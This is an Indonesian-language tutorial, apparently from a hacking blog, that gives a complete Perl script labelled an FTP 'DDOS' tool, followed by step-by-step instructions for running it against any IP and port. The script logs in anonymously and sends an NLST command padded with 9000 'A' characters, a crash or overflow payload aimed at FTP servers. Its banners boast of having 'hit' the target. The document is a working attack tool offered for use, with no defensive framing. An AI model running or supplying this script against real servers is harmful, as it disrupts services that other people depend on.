tutorial DDOS with FTP(perl) By Agus Darlis

#!/usr/bin/perl

#

# Nyantet IP FTP

# Author : IoRi

# Modified by IoRi

# Thanks to all indonesian hackers

# *

#

use IO::Socket;

$commandToSend = "NLST -al ";

$remoteUsername = "anonymous";

$remotePassword = "njepat@lah.net";

$remotePort = $ARGV[1];

sub bannerExploit()

{

print "\n Peringatan, Tidak Untuk Mainan \n";

print " x Author: Iori \n\n";

}

if ( @ARGV < 2 )

{

bannerExploit();

print " Pertanda : perl DDOSFtp.pl 192.168.0.1 21 \n\n";

exit;

}

if ($socket = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $remotePort, Proto => "TCP" ))

{

bannerExploit();

print " + Sepp ,, Sudah Di Hajarrrr " . $ARGV[0] . ":" . $remotePort . "\n";

print $socket "USER " . $remoteUsername . "\r\n";

print " * FTP Username: \'" . $remoteUsername . "\'\n";

sleep( 1 );

print $socket "PASS " . $remotePassword . "\r\n";

print " * FTP Password: \'" . $remotePassword . "\'\n";

print $socket $commandToSend . "A" x 9000 . "\r\n";

sleep( 3 );

print $socket "QUIT\r\n";

print " + Sent 9000 bytes of data to $ARGV[0]:$remotePort\n\n";

}

else

{

bannerExploit();

print " + Kamprett ,,, Coba Lagii Ke " . $ARGV[0] . ":" . $remotePort . "\n";

}

Save Code diatas Dengan Extensi .pl

kalau Udah oke ..

Makai Nya ???

Gini Lohh ...

Pertamax : Pasang Active Perl..

Keduax : File itu Gabungin Ke Dalam Folder bin di Perl mu

Ketiaxx : buka command promptato CMD untuk prosesnya , masuk ke path dimana active perl itu kamu instal ,masukkan contoh perintah nya seperti ini c:\perl\bin\NyantetFTP.pl ipnya[space]port 

oke selamat mencoba dah